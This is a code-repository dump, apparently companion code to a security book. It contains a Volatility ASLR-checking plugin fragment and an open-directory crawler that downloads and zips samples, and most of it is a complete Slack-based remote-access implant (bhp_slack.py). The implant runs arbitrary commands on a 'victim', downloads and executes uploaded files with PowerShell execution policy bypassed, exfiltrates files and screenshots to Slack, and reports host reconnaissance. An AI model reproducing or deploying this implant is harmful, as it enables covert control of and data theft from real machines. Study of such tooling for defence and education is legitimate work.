113 | pe_data_raw = pe_data.getvalue()
114 | pe_data.close()
115 |
116 | try:
117 | pe = pefile.PE(data=pe_data_raw)
118 | except Exception as e:
119 | continue
120 |
121 | aslr = check_aslr(pe)
122 |
123 | yield (0, (proc_id,
124 | procname,
125 | format_hints.Hex(pe.OPTIONAL_HEADER.ImageBase),
126 | aslr,
127 | ))
128 |
129 | def run(self):
130 | procs = pslist.PsList.list_processes(self.context,
131 | self.config["primary"],
132 | self.config["nt_symbols"],
133 | filter_func=self.create_pid_filter(self.config.get('pid', None)))
134 | return renderers.TreeGrid([
135 | ("PID", int),
136 | ("Filename", str),
137 | ("Base", format_hints.Hex),
138 | ("ASLR", bool)],
139 | self._generator(procs))
140 |
--------------------------------------------------------------------------------
/appendix-B/get_opendir.py:
--------------------------------------------------------------------------------
1 | __author__ = 'Hiroyuki Kakara'
2 |
3 | import bs4
4 | import os
5 | import re
6 | import requests
7 | from selenium import webdriver
8 | from selenium.webdriver.chrome import service
9 | from selenium.webdriver.chrome.options import Options
10 | import shutil
11 | import subprocess
12 | import sys
13 | import time
14 |
15 | user_agent = 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36'
16 | headers = {'User-Agent':user_agent}
17 |
18 | def get_web_content(url):
19 | try:
20 | res = requests.get(url, headers=headers, timeout=7, verify=False)
21 | time.sleep(5)
22 | if 'content-type' in res.headers:
23 | if res.status_code == 200 and 'text/html' in res.headers['content-type']:
24 | web_soup = bs4.BeautifulSoup(res.text, 'html.parser')
25 | return web_soup
26 | else:
27 | return False
28 | else:
29 | return False
30 | except Exception as e:
31 | return False
32 |
33 | def judge_opendir(web_soup):
34 | if web_soup.title != None:
35 | if "Index of " in web_soup.title.string:
36 | return True
37 | else:
38 | return False
39 | else:
40 | return False
41 |
42 | def get_opendir_parent(url):
43 | url_previous = url
44 | url_elem = url.split('/')
45 | base_url = f"{url_elem[0]}//{url_elem[2]}"
46 | for i in range(len(url_elem)-1, 2, -1):
47 | path = ''
48 | for j in range(3,i,1):
49 | path = f"{path}/{url_elem[j]}"
50 | web_soup = get_web_content(base_url + path)
51 | if web_soup != False:
52 | if judge_opendir(web_soup):
53 | url_previous = base_url + path
54 | else:
55 | return url_previous
56 | else:
57 | return url_previous
58 | return url_previous
59 |
60 | def get_child_links(web_soup):
61 | links_tmp = [url.get('href') for url in web_soup.find_all('a')]
62 | links = []
63 | for link in links_tmp:
64 | if not re.search("^\?C=[A-Z];O=[A-Z]$", link) and not link=='/' and not link=='../':
65 | links.append(link.replace('/',''))
66 | return links
67 |
68 | def write_content(output_path, content):
69 | with open(output_path,'wb') as f:
70 | f.write(content)
71 |
72 | def get_screenshot(url, output):
73 | try:
74 | options = Options()
75 | options.add_argument('--headless')
76 | options.add_argument('--ignore-certificate-errors')
77 | options.add_argument('--no-sandbox')
78 | options.add_argument('--disable-dev-shm-usage')
79 | options.add_argument(f'--user-agent={user_agent}')
80 | chrome_service = service.Service(executable_path
81 | ='!!解凍したWebドライバのフルパスを入力!!')
82 | driver = webdriver.Chrome(service=chrome_service, options=options)
83 | driver.set_page_load_timeout(10)
84 | driver.get(url)
85 | width = driver.execute_script('return document.body.scrollWidth')
86 | height = driver.execute_script('return document.body.scrollHeight')
87 | driver.set_window_size(int(width),int(height))
88 | driver.save_screenshot(output)
89 | driver.quit()
90 | time.sleep(5)
91 | return 1
92 | except Exception as e:
93 | print(e)
94 | return -1
95 |
96 | class GOD:
97 | def get_opendir(self, url, output):
98 | content_count = 0
99 | if not url.startswith('http://') and not url.startswith('https://'):
100 | print('Only http:// or https:// are acceptable.')
101 | exit()
102 | web_soup = get_web_content(url)
103 | if web_soup != False:
104 | if judge_opendir(web_soup):
105 | opendir_parent = get_opendir_parent(url)
106 | base_path = url.split('/')[2].replace(':', '_')
107 | image_dir = os.path.join(output, f"{base_path}_image")
108 | os.makedirs(image_dir, exist_ok=True)
109 | opendir_urls = [opendir_parent]
110 | imagepath_list = list()
111 | for opendir_url in opendir_urls:
112 | print(f"Processing {opendir_url}...")
113 | web_soup = get_web_content(opendir_url)
114 | opendir_name = opendir_url.replace('http://','').replace('https://','').replace(':', '_')
115 | outputdir = os.path.join(output, opendir_name)
116 | os.makedirs(outputdir, exist_ok=True)
117 | links = get_child_links(web_soup)
118 | for link in links:
119 | if content_count > 10:
120 | break
121 | res = requests.get(f"{opendir_url}/{link}", headers=headers)
122 | time.sleep(5)
123 | link_filename = os.path.join(outputdir, link.replace('/',''))
124 | if res.status_code == 200:
125 | if 'content-type' in res.headers:
126 | if 'text/html' in res.headers['content-type']:
127 | web_soup = get_web_content(f"{opendir_url}/{link}")
128 | if web_soup != False:
129 | if judge_opendir(web_soup):
130 | opendir_urls.append(opendir_url + "/" + link ) # ❼
131 | else:
132 | write_content(link_filename, res.content)
133 | else:
134 | write_content(link_filename, res.content)
135 | else:
136 | write_content(link_filename, res.content)
137 | content_count += 1
138 | imagepath = os.path.join(image_dir, opendir_url.replace('/','_').replace(':','').replace('.','_') +'.png')
139 | if get_screenshot(opendir_url, imagepath) > 0:
140 | print('Successfully got screenshot: ' + imagepath )
141 | imagepath_list.append(imagepath)
142 | else:
143 | print(f"Couldn't get screenshpt: {imagepath}")
144 | if os.name == 'posix' and os.path.exists('/usr/bin/zip'):
145 | subprocess.call(['zip', '-r', '-e', '--password=novirus', f'{base_path}.zip', base_path], cwd=output)
146 | elif os.name == 'nt' and os.path.exists('C:\\Windows\\System32\\wsl.exe') and subprocess.call(['wsl', 'which', 'zip'], stdout=subprocess.DEVNULL) == 0:
147 | subprocess.call(['wsl', 'zip', '-r', '-e', '--password=novirus', f'{base_path}.zip', base_path], cwd=output)
148 | else:
149 | shutil.make_archive(os.path.join(output, base_path), 'zip', root_dir=os.path.join(output, base_path)) # without password
150 | shutil.rmtree(os.path.join(output, base_path))
151 | output_zip = os.path.join(output, f"{base_path}.zip")
152 | print(f"Saved to {output_zip}" )
153 | imagepath = os.path.join(output, f"{opendir_parent.replace('/','_').replace(':','').replace('.','_')}.png")
154 | return [output_zip, imagepath_list]
155 | else:
156 | return ['This is not an OpenDir.']
157 | else:
158 | return ["Couldn't get html content from this URL."]
159 |
160 | if __name__ == '__main__':
161 | god = GOD()
162 | res = god.get_opendir(sys.argv[1], '')
163 | print(res)
--------------------------------------------------------------------------------
/appendix-A/bhp_slack.py:
--------------------------------------------------------------------------------
1 | # -*- config:utf-8 -*-
2 | __author__ = 'Hiroyuki Kakara'
3 | import ctypes
4 | import locale
5 | import os
6 | import platform
7 | import requests
8 | from slack_bolt import App
9 | from slack_bolt.adapter.socket_mode import SocketModeHandler
10 | import socket
11 | import subprocess
12 | import win32api
13 | import win32con
14 | import win32gui
15 | import win32ui
16 |
17 | SLACK_URL = 'https://slack.com/api/'
18 | SLACK_APP_TOKEN = 'xapp-'
19 | SLACK_BOT_TOKEN = 'xoxb-'
20 | app = App(token=SLACK_BOT_TOKEN)
21 | mychannel = ''
22 |
23 | def conversations_create(name):
24 | parameters = {'token': SLACK_BOT_TOKEN, 'name': name}
25 | res = requests.post(SLACK_URL + 'conversations.create', data=parameters)
26 |
27 | def conversations_setTopic(channel, topic):
28 | parameters = {'token': SLACK_BOT_TOKEN, 'channel': channel, 'topic':topic}
29 | res = requests.post(SLACK_URL + 'conversations.setTopic', data=parameters)
30 |
31 | def convert_channelname_to_id(channel_name):
32 | parameters = {'token': SLACK_BOT_TOKEN}
33 | res = requests.post(SLACK_URL + 'conversations.list', data=parameters)
34 | channel_id = None
35 | if res.json()['ok'] == True:
36 | for channel in res.json()['channels']:
37 | if channel['name'] == channel_name:
38 | channel_id = channel['id']
39 | break
40 | return channel_id
41 |
42 | def file_dl_exec(url, filename):
43 | headers = {'Authorization': "Bearer " + SLACK_BOT_TOKEN}
44 | res = requests.get(url, headers=headers)
45 | with open(filename, 'wb') as dl_file:
46 | dl_file.write(res.content)
47 | command = ''
48 | if os.path.splitext(filename)[1] == '.py':
49 | command = f'python {filename}'
50 | elif os.path.splitext(filename)[1] == '.vbs':
51 | command = f'Cscript {filename}'
52 | elif os.path.splitext(filename)[1] == '.ps1':
53 | command = f'powershell -ExecutionPolicy Bypass -File {filename}'
54 | else:
55 | command = filename
56 | res = subprocess.Popen(command, stdout=subprocess.PIPE)
57 | return f'{filename} Started.'
58 |
59 | def exec_command(command):
60 | res = subprocess.run(command, stdout=subprocess.PIPE)
61 | if locale.getdefaultlocale() == ('ja_JP', 'cp932'):
62 | return res.stdout.decode('cp932')
63 | else:
64 | return res.stdout.decode()
65 |
66 | def file_up(filepath):
67 | if os.path.exists(filepath):
68 | files = {'file': open(filepath, 'rb')}
69 | parameters = {'token': SLACK_BOT_TOKEN, 'channels': mychannel, 'filename': os.path.basename(filepath)}
70 | res = requests.post(SLACK_URL + 'files.upload', files=files, data=parameters)
71 | if res.status_code == 200:
72 | return "Uploaded."
73 | else:
74 | return "Upload Failed."
75 | else:
76 | return f'File not found - {filepath}.'
77 |
78 | def file_dir(extension):
79 | file_paths = list()
80 | for parent, _, filenames in os.walk('c:\\'):
81 | for filename in filenames:
82 | if filename.endswith(extension):
83 | document_path = os.path.join(parent, filename)
84 | file_paths.append(document_path)
85 | return '\r\n'.join(file_paths)
86 |
87 | def get_dimensions():
88 | PROCESS_PER_MONITOR_DPI_AWARE = 2
89 | ctypes.windll.shcore.SetProcessDpiAwareness(PROCESS_PER_MONITOR_DPI_AWARE)
90 | width = win32api.GetSystemMetrics(win32con.SM_CXVIRTUALSCREEN)
91 | height = win32api.GetSystemMetrics(win32con.SM_CYVIRTUALSCREEN)
92 | left = win32api.GetSystemMetrics(win32con.SM_XVIRTUALSCREEN)
93 | top = win32api.GetSystemMetrics(win32con.SM_YVIRTUALSCREEN)
94 | return (width, height, left, top)
95 |
96 | def screenshot():
97 | hdesktop = win32gui.GetDesktopWindow()
98 | width, height, left, top = get_dimensions()
99 |
100 | desktop_dc = win32gui.GetWindowDC(hdesktop)
101 | img_dc = win32ui.CreateDCFromHandle(desktop_dc)
102 | mem_dc = img_dc.CreateCompatibleDC()
103 |
104 | screenshot = win32ui.CreateBitmap()
105 | screenshot.CreateCompatibleBitmap(img_dc, width, height)
106 | mem_dc.SelectObject(screenshot)
107 | mem_dc.BitBlt((0,0), (width, height), img_dc, (left, top), win32con.SRCCOPY)
108 | screenshot.SaveBitmapFile(mem_dc, 'screenshot.bmp')
109 |
110 | mem_dc.DeleteDC()
111 | win32gui.DeleteObject(screenshot.GetHandle())
112 |
113 | if os.path.exists('screenshot.bmp'):
114 | files = {'file': open('screenshot.bmp', 'rb')}
115 | parameters = {'token': SLACK_BOT_TOKEN, 'channels': mychannel, 'filename': os.path.basename('screenshot.bmp')}
116 | res = requests.post(SLACK_URL + 'files.upload', files=files, data=parameters)
117 | if res.status_code == 200:
118 | return "Uploaded."
119 | else:
120 | return "Upload Failed."
121 | else:
122 | return f'File not found - screenshot.bmp.'
123 |
124 | def build_help():
125 | res = ("cmd : Execute Windows commands.\r\n"
126 | "fil : Upload file from victim.\r\n"
127 | "dir : Search for files with specified extension.\r\n"
128 | "scr: Take screenshot.\r\n"
129 | "exit: Terminate this bot.\r\n"
130 | "Just upload a file: Bot will execute the uploaded file.\r\n"
131 | "help: Display this help.")
132 | return res
133 |
134 | def parse_event(event):
135 | res = None
136 | try:
137 | if event['channel'] == mychannel:
138 | if 'files' in event:
139 | for file_ in event['files']:
140 | res = file_dl_exec(file_['url_private_download'], file_['name'])
141 | else:
142 | command = event['text']
143 | if command == 'exit':
144 | res = 'exit'
145 | else:
146 | if event['text'].startswith('cmd '):
147 | res = exec_command(event['text'][4:])
148 | elif event['text'].startswith('fil '):
149 | res = file_up(event['text'][4:])
150 | elif event['text'].startswith('dir '):
151 | res = file_dir(event['text'][4:])
152 | elif event['text'].startswith('scr'):
153 | res = screenshot()
154 | elif event['text'].startswith('help'):
155 | res = build_help()
156 | except Exception as e:
157 | pass
158 | return res
159 |
160 | @app.event("message")
161 | def event(event, say):
162 | res = parse_event(event)
163 | if res != None:
164 | if res != 'exit':
165 | say(res)
166 | else:
167 | say("Exiting...")
168 | os._exit(0)
169 |
170 | def get_global_ip():
171 | url = 'http://ifconfig.io/'
172 | headers = {'User-Agent': 'curl'}
173 | res = requests.get(url, headers=headers)
174 | return str(res.text.rstrip('\n'))
175 |
176 | def build_topic():
177 | res = (f'Username: {os.environ["username"]}\r\n'
178 | f'Hostname: {socket.gethostname()}\r\n'
179 | f'FQDN: {socket.getfqdn()}\r\n'
180 | f'Internal IP: {socket.gethostbyname(socket.gethostname())}\r\n'
181 | f'Global IP: {get_global_ip()}\r\n'
182 | f'Platform: {platform.platform()}\r\n'
183 | f'Processor: {platform.processor()}\r\n'
184 | f'Architecture: {platform.architecture()[0]}\r\n')
185 | return res
186 |
187 | def main():
188 | global mychannel
189 | mychannel_name = os.environ['username'].lower().replace(" ", "").replace(".", "") + "-" + os.environ['computername'].lower()
190 | conversations_create(mychannel_name)
191 | mychannel = convert_channelname_to_id(mychannel_name)
192 | conversations_setTopic(mychannel, build_topic())
193 |
194 | SocketModeHandler(app, SLACK_APP_TOKEN).start()
195 |
196 | if __name__ == '__main__':
197 | main()
--------------------------------------------------------------------------------